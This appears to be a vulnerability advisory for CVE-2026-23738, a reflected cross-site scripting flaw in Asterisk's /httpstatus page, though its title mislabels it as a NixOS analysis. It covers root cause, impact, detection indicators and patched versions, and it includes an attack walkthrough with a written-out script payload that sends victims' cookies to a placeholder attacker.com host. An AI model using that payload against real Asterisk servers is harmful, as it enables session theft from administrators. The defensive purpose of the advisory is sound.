CVE-2026-23738: 
NixOS vulnerability analysis and mitigation

CVE-2026-23738 is a Cross-Site Scripting (XSS) vulnerability in Asterisk, the open-source PBX and telephony toolkit developed by Sangoma. User-supplied values from HTTP cookies and GET query parameters are directly interpolated into the HTML output of the /httpstatus endpoint without sanitization, via the ast_str_append function in asterisk/main/http.c. Affected versions include Asterisk prior to 20.18.2, 21.12.1, 22.8.2, 23.2.2, and Certified Asterisk prior to 20.7-cert9. The vulnerability was published on February 6, 2026, and carries a CVSS v3.1 base score of 6.1 (Medium) per NVD, though the GitHub advisory rates it as Low (3.5) using an adjacent-network attack vector (GitHub Advisory, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). In asterisk/main/http.c, the embedded Asterisk HTTP server renders the /httpstatus page by appending user-controlled HTTP GET query parameter names/values and Cookie header names/values directly into HTML table rows using ast_str_append, without applying HTML encoding or any sanitization. An unauthenticated attacker on an adjacent network can craft a malicious URL or set manipulated cookies containing JavaScript payloads; when a victim user visits the crafted /httpstatus URL, the injected script executes in their browser. The vulnerability was discovered through a white-box code review of the Asterisk codebase (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any user who visits the crafted /httpstatus endpoint, enabling session token or credential theft, CSRF chaining, and other client-side attacks. Confidentiality impact is limited to information accessible within the browser session (e.g., cookies, session tokens), and there is no direct availability or server-side integrity impact. The attack requires user interaction and is constrained to an adjacent network context per the GitHub advisory's CVSS scoring (GitHub Advisory, Red Hat CVE).

As of the time of publication, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (GitHub Advisory). The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection plugins are available via Nessus (plugin 298281) and Qualys (ID 6275030) (Feedly).

1. Reconnaissance: Identify Asterisk deployments with the embedded HTTP server enabled and the /httpstatus endpoint accessible, using network scanning tools such as Nmap targeting common Asterisk HTTP ports (default 8088).
2. Craft malicious URL: Construct a URL targeting the vulnerable endpoint with an injected XSS payload in a GET query parameter, e.g., http://<target>:8088/httpstatus?p=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>.
3. Deliver to victim: Trick an authenticated Asterisk administrator or user into clicking the crafted link via phishing, social engineering, or embedding it in a page accessible from the adjacent network.
4. Script execution: When the victim's browser loads the /httpstatus page, the unsanitized parameter value is rendered into the HTML response and the injected JavaScript executes in the victim's browser context.
5. Harvest data: The attacker's script exfiltrates session cookies, authentication tokens, or other sensitive browser-accessible data to an attacker-controlled server, potentially enabling session hijacking or CSRF attacks (GitHub Advisory).

• Network: HTTP GET requests to /httpstatus containing URL-encoded script tags or JavaScript event handlers in query parameter values (e.g., <script>, onerror=, javascript:); unusual outbound HTTP requests from client browsers to unknown external hosts shortly after accessing the Asterisk HTTP interface.
• Logs: Asterisk HTTP access logs showing requests to /httpstatus with anomalous or encoded query strings containing HTML/JavaScript characters; repeated requests from a single source IP with varying payloads in query parameters or Cookie headers.
• File System: No direct file system artifacts expected for a reflected XSS attack; however, web server logs should be reviewed for evidence of payload delivery.

Upgrade Asterisk to one of the patched versions: 20.7-cert9 (Certified Asterisk 20.x branch), 20.18.2 (20.x branch), 21.12.1 (21.x branch), 22.8.2 (22.x branch), or 23.2.2 (23.x branch) (GitHub Advisory). As interim mitigations, restrict network access to the Asterisk embedded HTTP server using firewall rules or network segmentation to limit exposure to trusted hosts only. Deploying a Web Application Firewall (WAF) to filter suspicious query parameters and cookie values can also reduce risk until patching is complete (Red Hat CVE).

The vulnerability was assigned a Low severity rating by the Asterisk project itself (CVSS 3.5 via GitHub Advisory), reflecting the adjacent-network attack vector and requirement for user interaction. Red Hat tracked the issue for its products, and Debian issued a Long Term Support (LTS) security announcement (DLA-4515-1) addressing the vulnerability in March 2026 (Debian LTS). No significant public researcher commentary or social media discussion has been identified beyond standard vulnerability database entries.